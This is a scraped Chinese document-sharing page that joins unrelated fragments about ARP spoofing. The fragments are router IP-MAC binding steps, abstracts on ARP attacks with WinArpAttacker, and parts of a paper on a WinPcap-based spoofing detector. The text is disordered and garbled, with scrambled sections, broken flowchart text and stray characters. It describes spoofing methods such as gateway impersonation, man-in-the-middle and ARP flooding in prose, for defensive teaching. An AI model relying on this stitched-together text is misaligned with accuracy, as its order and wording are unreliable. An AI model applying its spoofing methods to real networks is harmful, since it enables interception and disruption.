打开“ARP 映射表”窗口如下: 4、这是路由器动态学习到的 ARP 表,可以看到状态这 一栏显示为“未绑定”。 如果确认这一个动态学习的表没有 错误,也就是说当时不存在 arp 欺骗的情况下(如果网络是 正常运行的,而且不同的 IP 对应的 MAC 地址不一样,一般 是没有错误的) ,我们把这一个表进行绑定,并且保存为静 态表,这样路由器重启后这些条目都会存在,达到一劳永逸 的效果。 点击“全部绑定”,可以看到下面界面: 5、可以看到状态中已经为已绑定,这时候,路由器已 经具备了防止 ARP 欺骗的功能,上面的示范中只有三个条目, 如果您的电脑多,操作过程也是类似的。有些条目如果没有 添加,也可以下次补充上去。除了这种利用动态学习到的 ARP 表来导入外,也可以使用手工添加的方式,只要知道电脑的 MAC 地址,手工添加相应条目就可。 为了让下一次路由器重新启动后这些条目仍然存在,我 们点击了“全部导入”,然后再次打开“静态 ARP 绑定设置” 窗口: 6、可以看到静态条目已经添加,而且在绑定这一栏已 经打上勾,表示启用相应条目的绑定。到此,我们已经成功 设 置 路 由 器 来 防 止 192.168.1.111、 192.168.1.112、 222.77.77.1 这三个 IP 受 ARP 欺骗的攻击,如果有更多的电 脑,只是条目数不同,设置过程当然是一样的,不是很难吧? 三、设置电脑防止 ARP 欺骗
ቤተ መጻሕፍቲ ባይዱ
局域网 ARP 欺骗和攻击解决方法
步骤如下: 一、设置前准备 1、当使用了防止 ARP 欺骗功能(IP 和 MAC 绑定功能)后, 最好是不要使用动态 IP,因为电脑可能获取到和 IP 与 MAC 绑定条目不同的 IP,这时候可能会无法上网,通过下面的步 骤来避免这一情况发生吧。 2、把路由器的 DHCP 功能关闭:打开路由器管理界面, “DHCP 服务器”->“DHCP 服务”,把状态由默认的“启用” 更改为“不启用”,保存并重启路由器。 3、给电脑手工指定 IP 地址、网关、DNS 服务器地址, 如果您不是很清楚当地的 DNS 地址,可以咨询您的网络服务 商。 二、设置防止 ARP 欺骗 路由器 1、具备这种一功能的路由器产品很多,下面我们以某 一款路由器为例,设置路由器防止 ARP 欺骗。 打开路由器的管理界面可以看到如下的左侧窗口: 2、可以看到比之前的版本多出了“IP 与 MAC 绑定”的 功能,这个功能除了可以实现 IP 和 MAC 绑定外,还可以实 现防止 ARP 欺骗功能。 打开“静态 ARP 绑定设置”窗口如下: 3、注意,默认情况下 ARP 绑定功能是关闭,请选中启 用后,点击保存来启用。

基于WinArpAttacker软件的ARP攻击

基于WinArpAttacker软件的ARP攻击

基于WinArpAttacker软件的ARP攻击基于WinArpAttacker软件的ARP攻击【摘要】本文主要介绍了ARP地址解析协议的原理以及利用WinArpAttacker这个攻击软件模拟一次ARP攻击的攻击过程,最后再介绍了防止ARP攻击的主要手段。

其中对于WinArpAttacker这个软件进行了较为详细的介绍。

【关键字】ARP WinArpAttacker ARP攻击1.引言ARP,即地址解析协议,实现通过IP地址得知其物理地址。

在TCP/IP网络环境下,每个主机都分配了一个32位的IP地址,这种互联网地址是在网际范围标识主机的一种逻辑地址。

为了让报文在物理网路上传送,必须知道对方目的主机的物理地址。

这样就存在把IP地址变换成物理地址的地址转换问题。

ARP攻击就是通过伪造IP地址和MAC地址实现ARP欺骗,能够在网络中产生大量的ARP通信量使网络阻塞,攻击者只要持续不断的发出伪造的ARP响应包就能更改目标主机ARP缓存中的IP-MAC条目,造成网络中断或中间人攻击。

ARP攻击主要是存在于局域网网络中,局域网中若有一个人感染ARP木马,则感染该ARP木马的系统将会试图通过“ARP 欺骗”手段截获所在网络内其它计算机的通信信息,并因此造成网内其它计算机的通信故障。

2.正文2.1ARP原理介绍在每台安装有TCP/IP协议的电脑里都有一个ARP缓存表,表里的IP地址与MAC地址是一一对应的。

以主机A(192.168.1.5)向主机B(192.168.1.1)发送数据为例。

当发送数据时,主机A会在自己的ARP缓存表中寻找是否有目标IP地址。

如果找到了,也就知道了目标MAC地址,直接把目标MAC地址写入帧里面发送就可以了;如果在ARP缓存表中没有找到目标IP地址,主机A就会在网络上发送一个广播,A主机MAC地址是“主机A的MAC地址”,这表示向同一网段内的所有主机发出这样的询问:“我是192.168.1.5,我的硬件地址是"主机A的MAC地址".请问IP地址为192.168.1.1的MAC地址是什么?”网络上其他主机并不响应ARP询问,只有主机B接收到这个帧时,才向主机A做出这样的回应:“192.168.1.1的MAC地址是00-aa-00-62-c6-09”。

基于Windows平台下ARP欺骗及防范模型

基于Windows平台下ARP欺骗及防范模型

基于Windows平台下ARP欺骗及防范模型
李俊
【期刊名称】《现代计算机(专业版)》
【年(卷),期】2008(000)009
【摘要】就TCP/IP协议组中的AKP协议展开研究,深入分析其产生问题的根源:动态绑定无认证机制,并提供了一个应用模型来展示"AKP欺骗、监听及防范".这个模型是利用用于Windows平台下捕荻包的Winpcap驱动程序,并采用VC++作为开发工具来完成的.该模型对网络的安全管理、协议分析仪的开发都有一定的参考价值.
【总页数】4页(P103-106)
【作者】李俊
【作者单位】武汉科技大学计算机科学与技术学院,武汉,430081
【正文语种】中文
【中图分类】TP3
【相关文献】
1.局域网络环境下ARP欺骗攻击及安全防范策略 [J], 于宙
2.ARP协议简析与ARP欺骗攻击防范 [J], 姜晓峰
3.通过抑制广播ARP防范ARP欺骗的一种方法 [J], 庞龙;董宇峰
4.基于SDN的ARP欺骗防范技术 [J], 周创;王红林
5.网络环境下神东分公司ARP欺骗攻击及安全防范方法 [J], 张宇
因版权原因,仅展示原文概要,查看原文内容请购买。

  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

数据包完全信任, 并不验证收到的数据包中 IP 和 MAC 对应正 确 性 。 这 是 ARP 协 议 的 一 个 重 大 的 漏 洞 。 只 要 是 来 自 局 域 网 内 的 ARP 应 答 分 组 , 就 会 将 其 中 的 IP-MAC 地 址 记 录 更 新 到 本地 ARP 缓存中, 而 不 进 行 任 何 认 证 , 这 就 是 ARP 安 全 漏 洞 的本质: 无状态性。 这也是会造成 ARP 欺骗的一个重要原因。
针对上述的漏洞, 局域网中的任何一台主机只要伪造一个 虚 假 的 ARP 请 求 包 并 且 不 停 地 广 播 或 不 停 发 送 应 答 包 (如 果 伪造网关欺骗, 就以广播方式), 局域网的主机收到请求包或 应 答 包 后 不 加 认 证 地 更 新 自 己 的 ARP 缓 存 。 在 这 个 环 节 上 没 有任何限制, ARP 欺骗就水到渠成了。
1 引言
ARP (地 址 解 析 协 议 ) 是 一 个 标 准 的 TCP/IP 协 议 , 工 作 在 IP 层 , 其 功 能 是 实 现 局 域 网 中 主 机 的 IP 地 址 与 硬 件 地 址 (通常称为 MAC 地址) 之间的转换和映射。 ARP 协议在设计之 初并没有过多的考虑协议的安全性, ARP 的工作原理和机制给 网 络 带 来 了 一 类 安 全 问 题— ——ARP 欺 骗 。 利 用 ARP 欺 骗 可 以 实 现 多 种 安 全 攻 击 , 比 如 冲 突 合 法 的 IP 使 其 无 法 正 常 联 网 , 从而造成拒绝服务攻击, 监听机器间的通信, 窃取重要的业务 信 息 流 等 。 现 在 ARP 欺 骗 攻 击 已 经 成 为 专 业 化 的 攻 击 手 段 。 对 于 局 域 网 的 安 全 造 成 严 重 的 威 胁 。 检 测 到 ARP 欺 骗 攻 击 是 防 范 其 攻 击 的 基 础 , 在 抵 御 局 域 网 的 ARP 欺 骗 攻 击 中 起 着 举 足轻重的作用。
if (pcap_findalldevs(&alldevs,errbuf)==-1) { fprintf (stderr,” pcap_findalldevs 出现错误:%s\n”,
errbuf); return -1;
} 获 得 网 卡 函 数 原 型 : int pcap_findalldevs ( pcap_if_t *all_dev,char *err_buffer), 参数 all_dev 是 pcap_if_t 类型链表节 点 , 用 于 返 回 网 卡 信 息 ; 参 数 err_buffer 是 存 储 错 误 信 息 的 缓 冲区地址。 此函数成功运行返回值为 0; 运行失败返回值为-
(1) 高速缓存 漏洞之一来自于存放 IP 地址与硬件 MAC 地址映射关系的 ARP 高 速 缓 存 。 ARP 高 速 缓 存 利 用 动 态 更 新 机 制 及 时 地 淘 汰 过时 IP-MAC 记录, 合理地利用缓存, 提高了查找的效率和缓 存的使用效率。 但是, 这个优点却成了恶意者攻击的帮凶。 虽 然每个 IP-MAC 记录存在都是有生存期的, 但是只要恶意者在 这个记录更新之前改变了这条记录, 那么假的记录就会存储在 缓存, 在这个时间内, 相应的主机就会被欺骗。 (2) ARP 的无状态性 漏 洞 之 二 源 于 ARP 协 议 请 求 和 应 答 机 制 。 ARP 协 议 并 没 有对请求和应答进行必要的限制, 使得局域网中的任何主机都 能够随意发送和接收请求数据包和应答数据包, 而且接收方对
} 此语句的功能是打开目标网卡准备捕获数据包, 函数原型 如下: pcap_t * pcap_open_live ( const char *dev,int len,int pro,int t_m,char *err_buffer) 第一个参数 const char *dev 指的 是 要 打 开 的 网 卡 , 也 就 是 在上一功能模块中得到的 网 卡 地 址 。 参 数 len 主 要 用 于 数 据 包 的 捕 获 上 , 默 认 为 65536, 可 以 捕 获 完 整 的 数 据 包 。 pro 指 明 网 卡 是 否 处 于 混 杂 模 式 , 默 认 情 况 下 值 为 1, 即 处 于 混 在 模 式。 t_m 参数指定读数据的超时 控 制 , 超 时 以 毫 秒 计 算 。 最 后 一个参数 err_buffer 用于存储错误信息。 设置过滤器所使用的函数。 1) 判断网络类型的函数, 其函数原型为: int pcap_datalink(pcap_t *d) 它的功能是返回主机所在的链路层上的一个适配器, 即链 路 层 的 类 型 , 如 DLT_EN10MB 指 的 就 是 10M 以 太 网 。 参 数 是 一 个 WinPcap 的 核 心 类 型 , 内 部 定 义 了 多 个 变 量 , 是 表 示 WinPcap 句柄的数据结构。 2) 编译过滤条件的函数, 其原型为: int pcap_compile (pcap_t *p,struct bpf_program *prog, char *buffer,int opt,bpf_u_int32 mask) 此函数操作成功返回 0, 操作失 败 则 返 回-1。 参 数 p 表 示 WinPcap 的 一 个 句 柄 , 参 数 prog 表 示 BPF 的 过 滤 规 则 (NPF 的过滤机制来源于 BPF, 即 BSD Packet Filter), 参 数 buffer 表 示一个包含布尔表达式的 过 滤 规 则 的 字 符 串 , 参 数 opt 表 示 优 化, 参数 mask 表示是主机的 IP 地址的掩码。 此函数功能是把 参数 buff 内的过滤规则字符串转化为一个能够被底层协议驱动 (这里主要是 NPF) 所识别和解释的二进制编码。 3) 设置过滤器的函数, 其原型为: int pcap_setfilter(pcap_t *p,struct bpf_program *bp) 此 函 数 功 能 是 设 置 BPF 过 滤 规 则 , 规 则 由 参 数 p 确 定 。 参 数 p 是 WinPcap 句 柄 , 参 数 bp 表 示 过 滤 规 则 。 函 数 执 行 成
4 基于 WinPcap 的 ARP 欺骗检测器的设计与实现
4.1 WinPcap 简介及开发环境设置
WinPcap (Windows Packet Capture) 是 Windows 平 台 下 一 个免费、 公共的网络访问系统, 是其他一些安全工具的应用基 础 , 主 要 由 数 据 包 捕 获 和 过 滤 模 块 NPF、 低 层 网 络 编 程 接 口 packet.dll 和 高 层 编 程 接 口 wpcap.dll 这 部 分 组 成 。 WinPcap 基 于 Libpcap, 它 的 目 的 是 使 一 些 Windows 应 用 程 序 可 以 访 问 网 络底层。 它具有以捕获原始数据包、 过滤、 数据包发送、 网络 通信统计等 4 项基本功能。
检 测 器 利 采 用 VC++6.0 在 WinPcap 开 发 包 基 础 上 开 发 实 现。 其程序流程如图 2 所示。
开始获取网卡列表 否成? 是打印网卡信息否
否 错误处理
否 成功?
是 打开网卡
否 成功?
是 打开网卡
成功? 是
编译过滤条件
成功? 是
捕包分析
结束
错误处理
图 2 ARP 欺骗攻击检测分析流程
(2) project->settings->c/c++下的 Preprocessor definitions 中 填入 WPCAP, 在 link 下的 Object/library modules 下填入 wpcap. lib wsock32.lib。
4.2 核心函数说明
(1) 获得网卡信息列表模块和选择目标网卡模块中所使 用的函数。
图 1 被种植了 “ARP” 欺骗木马的主机的进程信息
80 2010. 19
3 ARP 欺骗的种类和后果
按 ARP 欺 骗 攻 击 所 造 成 的 危 害 和 影 响 网 络 连 接 的 方 式 , 大致可以将 ARP 欺骗分为如下 4 种:
(1) 假冒网关欺骗其他计算机 有 两 种 实 现 方 式 来 达 到 假 冒 网 管 欺 骗 其 他 计 算 机 的 ARP 欺骗攻击目的。 第 一 种 , 假 冒 ARP 应 答 包 。 如 果 把 伪 造 的 数 据 包 中 的 以 太网源地址和发送方 MAC 地址伪造成一个根本不存在的地址, 那么整个网络就无法与外网相连。 第 二 种 是 假 冒 ARP 请 求 包 。 这 种 方 式 也 可 以 把 以 太 网 源 地址、 发送方 MAC 地址伪造为不存在的 MAC 地址。 (2) 假冒某台计算机欺骗网关 攻击者冒充其他计算机按照一定的频率不断地向网关发送 假数据包。 这样, 网关的 ARP 缓存对应被欺骗主机的 IP-MAC 条目更新为假的 IP-MAC 信息, 发给正常计算机的数据都发送 给了欺骗方, 使得正常计算机无法收到信息。 这种欺骗方式同 样 可 以 以 假 冒 ARP 请 求 包 或 应 答 包 来 实 现 , 设 置 方 式 类 似 第 一种方式的数据包构造方式。 (3) 假冒某台计算机欺骗另一台计算机 一般来说, 前两种方式的主要攻击目的是使某个或某些计 算机无法正常上网, 所以, 欺骗方的假数据包在构造过程中可 以 构 造 一 个 根 本 不 存 在 的 源 MAC 地 址 , 这 样 被 欺 骗 的 主 机 发 送数据包时, 接收方并不能收到。 而这种攻击方式是出于监听 两 台 主 机 间 通 信 的 目 的 , 典 型 的 攻 击 方 式 是 — ——中 间 人 攻 击 (Man-In-The-Middle), 通 过 同 时 欺 骗 局 域 网 内 的 两 台 主 机 来 实现。 (4) ARP 泛洪攻击 攻 击 者 利 用 ARP 高 速 缓 存 的 容 量 有 限 以 及 它 的 更 新 机 制 (及 时 删 除 过 时 条 目 , 创 建 新 条 目 ), 大 量 伪 造 ARP 请 求 包 和 应答包, 实现洪泛攻击。 一旦发生泛洪攻击, 那么整个局域网 就会处于瘫痪状态。
相关文档
最新文档